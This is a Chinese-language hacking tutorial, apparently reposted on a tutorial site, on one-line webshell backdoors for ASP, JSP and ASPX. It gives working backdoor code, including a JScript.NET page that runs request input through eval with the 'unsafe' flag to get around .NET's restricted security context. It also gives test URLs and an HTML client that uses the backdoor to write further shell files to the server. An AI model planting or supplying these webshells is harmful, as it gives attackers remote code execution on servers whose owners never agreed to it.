明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

ASPX一句話木馬--終極版&詳細(xì)區(qū)分

[摘要]ASPX一句話木馬--終極版&詳細(xì)分析首先回顧一下以前ASP一句話的經(jīng)典木馬吧! <%if request("nonamed")<&...
ASPX一句話木馬--終極版&詳細(xì)分析
ASPX一句話木馬--終極版&詳細(xì)分析
ASPX一句話木馬--終極版&詳細(xì)分析首先回顧一下以前ASP一句話的經(jīng)典木馬吧!

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是動態(tài)運(yùn)行指定的代碼而JSCRIPT中也同樣有eval函數(shù)可以實(shí)現(xiàn),也就是說ASP一句話木馬也有個(gè)版本是采用JSCRIPT的 eval的!網(wǎng)上也有例子我就不多說了!.....

然后解析語言終究發(fā)展成為中間代碼例如java .net  動態(tài)執(zhí)行也就不存在了!

之前ASP中正常情況只支持VBS JSCRIPT(像python perlscript 這些特例的我就不說了)...

如今ASPX中 所支持的VBS的高級版本VB已經(jīng)不存在execute這個(gè)獨(dú)有的方法....真遺憾....

同時(shí)Jscript 也一樣轉(zhuǎn)向高級版本Jscript.net  但是我們需要的eval函數(shù)還是生存下來的!script child有幸了...

先埋下一個(gè)伏筆吧~ 先談?wù)勅缃竦闹虚g語言WEB應(yīng)用中的一句話

JSP :<%

if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

%> 這個(gè)是我自己寫的 要彈要說,都是大家的 呵呵!我不發(fā)言.....

ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>這個(gè)不知道是誰的作品,感覺性質(zhì)有點(diǎn)像我的JSP一句話了!不過還是把簡單的shell實(shí)現(xiàn)了!支持ing....

兩個(gè)一句話大體都一樣 調(diào)用類把 接收的都寫到文件!簡單說就是對文件寫操作而已!~昔日ASP一句話的光輝 如今在中間語言的后門中給限制得蕩然無存~~錯(cuò)!......ASPX C/S木馬我們一樣可以實(shí)現(xiàn)!因?yàn)橛蠮script.net的存在!上面所說到的eval函數(shù)還生存著!~

OK我們先來實(shí)現(xiàn)

<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>

這樣?恩!可以拿去嘗試了~ 保存為 text.aspx 然后提交

http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();

打印出當(dāng)前時(shí)間...Sat Aug 4 20:05:20 UTC+8 2007

貌似OK了哦! 呵呵 我們再試

http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");

發(fā)現(xiàn)報(bào)告錯(cuò)誤了!....(我就是因?yàn)榭ㄔ谶@里,所以折騰了幾個(gè)月,不然這文章早出爐了!在這里感謝一下  闇の術(shù)士 QQ:4659675 歡迎大家找他學(xué)習(xí) ...哈)

錯(cuò)誤原因

{

安全性異常

說明: 應(yīng)用程序試圖執(zhí)行安全策略不允許的操作。 要授予此應(yīng)用程序所需的權(quán)限, 請與系統(tǒng)管理員聯(lián)系, 或在配置文件中更改該應(yīng)用程序的信任級別。

異常詳細(xì)信息: System.Security.SecurityException: 請求失敗。

}

為什么會這樣呢?OK我們找到 MS文檔

往下面看

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp

JScript .NET  

JScript .NET 的新增功能

JScript .NET 是下一代的 Microsoft JScript 語言, 它是使用 Web 語言方便快捷地訪問 Microsoft .NET 平臺的一種方法。 JScript 的主要作用是使用 ASP.NET 構(gòu)造 Web 站點(diǎn)和使用 .NET Framework 腳本自定義應(yīng)用程序。

JScript .NET 與 ECMAScript 標(biāo)準(zhǔn)兼容, 而且它還具有 ECMAScript 未指定的其他功能, 例如, 真正的編譯代碼、通過符合“通用語言規(guī)范”(CLS) 而實(shí)現(xiàn)的跨語言支持, 以及對 .NET Framework 的訪問。 Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性, 而 JScript .NET 2003 為 eval 方法添加了受限安全上下文, 從而進(jìn)一步增強(qiáng)了安全性。

在 JScript .NET 中的幾種新功能旨在充分利用 CLS, 這是用來標(biāo)準(zhǔn)化數(shù)據(jù)類型、對象公開方式、對象互用方式等內(nèi)容的一組規(guī)則。 任何符合 CLS 的語言都可以使用在 JScript .NET 中創(chuàng)建的類、對象和組件。 作為 JScript 開發(fā)人員, 您可以從其他符合 CLS 的編程語言訪問類、組件和對象, 而無需考慮語言特定的差異(比如數(shù)據(jù)類型)。 JScript .NET 程序使用的一些 CLS 功能包括命名空間、屬性、引用參數(shù)和本機(jī)數(shù)組。

下面是 JScript .NET 中的一些新功能:

JScript .NET 2003 的新增功能

eval 方法的受限安全上下文

現(xiàn)在, 為了增強(qiáng)安全性, 不管調(diào)用方的權(quán)限是什么, 內(nèi)置的 eval 方法都默認(rèn)下在受限安全上下文中運(yùn)行腳本。 調(diào)用 eval 時(shí)如果將“unsafe”作為第二個(gè)可選參數(shù), 會導(dǎo)致腳本使用調(diào)用方的權(quán)限運(yùn)行, 這樣就會允許訪問文件系統(tǒng)、網(wǎng)絡(luò)或用戶界面。 有關(guān)更多信息, 請參見 eval 方法。

JScript .NET 2002 的新增功能

基于類的對象

JScript .NET(像 JScript 一樣)通過基于原型的對象支持繼承。 JScript .NET 還允許聲明定義對象數(shù)據(jù)和行為的類, 從而支持基于類的對象。 在 JScript .NET 中創(chuàng)建的類可由任何 .NET 語言使用和擴(kuò)展。 類可以繼承基類的屬性和方法。 可以對類和類成員應(yīng)用幾種屬性, 修改它們的行為和可見性。 有關(guān)更多信息, 請參見基于類的對象。

JScript 數(shù)據(jù)類型

在 JScript .NET 中(像 JScript 一樣), 可以在編寫程序時(shí)不指定變量的數(shù)據(jù)類型。 JScript .NET 也可用作一種強(qiáng)類型化語言, 其中所有變量都綁定到特定數(shù)據(jù)類型, 或者您還可以混合使用類型化和非類型化變量。 JScript .NET 提供了許多新的數(shù)據(jù)類型。 還可以將類和 .NET 類型用作數(shù)據(jù)類型。 有關(guān)更多信息, 請參見 JScript 數(shù)據(jù)類型。

條件編譯

指令可控制 JScript .NET 程序的編譯。 例如, @debug 指令可以為腳本的特定部分打開或關(guān)閉調(diào)試信息的發(fā)布。 有關(guān)更多信息, 請參見 @debug 指令。 @position 指令為調(diào)試器設(shè)置當(dāng)前行的行號。 有關(guān)更多信息, 請參見 @position 指令。 如果正在編寫將合并到其他腳本中的代碼, 那么這兩個(gè)指令都是有用的。 有關(guān)更多信息, 請參見條件編譯。

JScript 命名空間

命名空間通過將類、接口和方法組織成層次結(jié)構(gòu)來防止命名沖突。 在 JScript .NET 中, 您可以定義自己的命名空間。 還可以使用 JScript .NET 訪問任何 .NET Framework 命名空間, 包括自己定義的那些命名空間。 包語句允許打包相關(guān)的類以實(shí)現(xiàn)方便的部署和避免出現(xiàn)命名沖突。 有關(guān)更多信息, 請參見 package 語句。 導(dǎo)入語句使得 .NET Framework 命名空間可用于某個(gè)腳本, 這樣該腳本就能訪問命名空間中的類和接口。 有關(guān)更多信息, 請參見 import 語句。

JScript 變量和常數(shù)

JScript .NET 引入了一個(gè) Const 語句, 用來定義表示常數(shù)值的標(biāo)識符。 有關(guān)更多信息, 請參見 JScript 變量和常數(shù)。

枚舉

JScript .NET 引入了 Enum 語句, 允許構(gòu)造枚舉數(shù)據(jù)類型。 利用枚舉, 可以為您的數(shù)據(jù)類型值指定有用的名稱。 有關(guān)更多信息, 請參見 enum 語句。

再來找到 eval方法

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp

JScript .NET  

eval 方法

計(jì)算 JScript 代碼并執(zhí)行。

function eval(codeString : String [, override : String])

參數(shù)

codeString

必選。 包含有效 JScript 代碼的字符串。

override

可選。 確定要應(yīng)用于 codeString 中代碼的安全權(quán)限的字符串。

備注

eval 函數(shù)允許動態(tài)執(zhí)行 JScript 源代碼。

傳遞給 eval 方法的代碼執(zhí)行時(shí)所在的上下文和調(diào)用 eval 方法時(shí)的上下文一樣。 請注意, 在 eval 語句中定義的新變量或類型對于封閉程序是不可見的。

除非將字符串“unsafe”傳遞為第二個(gè)參數(shù), 否則, 傳遞至 eval 方法的代碼在受限安全上下文中執(zhí)行。 受限安全上下文禁止訪問系統(tǒng)資源, 如文件系統(tǒng)、網(wǎng)絡(luò)或用戶界面。 如果代碼試圖訪問這些資源, 則會產(chǎn)生安全異常。

當(dāng) eval 的第二個(gè)參數(shù)為字符串“unsafe”時(shí), 傳遞給 eval 方法的代碼在調(diào)用代碼所在的安全上下文中執(zhí)行。 第二個(gè)參數(shù)是區(qū)分大小寫的, 因此, 字符串“Unsafe”或“UnSAfE”不會重寫受限安全上下文。

安全說明  在不安全的模式下, eval 只能用于執(zhí)行從值得信任的源獲得的代碼字符串。

原來eval 給限制了安全性~呵呵那我們就照他說的去做加入 unsafe參數(shù)實(shí)現(xiàn)

<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>

OK

提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")

打印出 F:\nonamed\DOTNETPROJECT 是我當(dāng)前的WEB目錄 成功了! 熱淚ing~~~ 也就是你提交什么上去他就運(yùn)行什么 恢復(fù)當(dāng)年ASP后門的效果了!~  -_-

Response.Write可以不要!不過我為了回顯 所以加上去了 :)

OK 以下我們構(gòu)造出 一句話的客戶端吧!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD>

<TITLE> ASPXone line Code Client</TITLE>

</HEAD>

<BODY>

<form action=http://127.0.0.1/test.aspx method=post>

<textarea name=z cols=120 rows=10 width=45>

var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);

nonamed.Write(Request.Item["l"]);

nonamed.Close();

</textarea>

<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>

<input type=submit value=提交>

</BODY>

</HTML>

ASPX一句話木馬--終極版&詳細(xì)分析

上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。